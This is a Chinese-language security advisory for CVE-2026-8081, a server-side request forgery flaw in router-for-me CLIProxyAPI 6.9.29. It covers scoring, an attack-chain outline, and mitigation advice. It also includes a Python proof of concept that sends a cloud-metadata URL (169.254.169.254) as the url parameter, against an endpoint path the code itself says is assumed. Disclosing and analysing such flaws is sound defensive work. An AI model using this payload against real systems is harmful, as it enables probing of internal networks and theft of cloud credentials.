IPBUF安全漏洞报告
English
CVE-2026-8081 CVSS 6.3 中危

CVE-2026-8081:router-for-me CLIProxyAPI SSRF漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-8081
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
router-for-me CLIProxyAPI

相关标签

SSRFCVE-2026-8081router-for-meCLIProxyAPI中危服务端请求伪造

漏洞概述

router-for-me CLIProxyAPI 6.9.29版本被披露存在一处安全漏洞。该漏洞位于组件API接口的api_tools.go文件中,起因是对url参数缺乏有效的过滤机制。攻击者可通过恶意构造该参数触发服务器端请求伪造(SSRF),实现远程攻击。目前利用代码已公开,且厂商尚未对此漏洞进行修复或回应,存在较高的安全风险。

技术细节

该漏洞的核心在于router-for-me CLIProxyAPI在处理管理API请求时,未能严格校验传入的`url`参数。受影响的具体路径为`internal/api/handlers/management/api_tools.go`。攻击者可以利用网络攻击向量(AV:N),在仅需低权限(PR:L)且无需用户交互(UI:N)的情况下,发送特制的HTTP请求。通过操纵url参数,攻击者能够诱导后端服务器向攻击者指定的地址(通常是内网资源)发起HTTP请求。这种SSRF漏洞可能导致内网端口扫描、读取本地敏感文件(如metadata)或进一步攻击内部基础设施。由于CVSS评分为6.3,该漏洞对机密性、完整性和可用性均造成低至中度的影响,且利用代码已公开,风险不容忽视。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行着router-for-me CLIProxyAPI 6.9.29版本,并确认其暴露了API接口。
STEP 2
2. 漏洞利用
攻击者向`internal/api/handlers/management/api_tools.go`对应的API端点发送特制的POST请求,在`url`参数中填入恶意内网地址。
STEP 3
3. 请求伪造
由于系统未对`url`参数进行有效验证,后端服务器解析该参数并代为向攻击者指定的内部资源发起HTTP请求。
STEP 4
4. 达成目的
攻击者根据响应内容获取内网敏感信息(如云元数据)、探测内网端口或进一步利用内网服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_ssrf(target_url, malicious_url): """ Proof of Concept for CVE-2026-8081 Tests if the target_url is vulnerable to SSRF via the 'url' parameter. """ # Assuming the endpoint structure based on the file path mentioned endpoint = f"{target_url}/internal/api/handlers/management/api_tools" # Payload to test SSRF (e.g., accessing localhost or a specific internal port) payload = { "url": malicious_url } try: print(f"[*] Sending request to {endpoint} with payload: {payload}") response = requests.post(endpoint, data=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for indications of SSRF.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8080" # Example malicious URL (e.g., interacting with an internal service) # In a real scenario, use a controlled external server to verify the callback ssrf_payload = "http://169.254.169.254/latest/meta-data/" check_ssrf(target, ssrf_payload)

影响范围

router-for-me CLIProxyAPI 6.9.29

防御指南

临时缓解措施
由于厂商尚未提供修复方案,建议立即在网络边界(如防火墙或WAF)部署规则,拦截针对受影响API接口的异常请求。同时,严格限制应用服务器的出站网络访问权限,阻断其向内网敏感段落的连接能力,以降低被利用的风险。

参考链接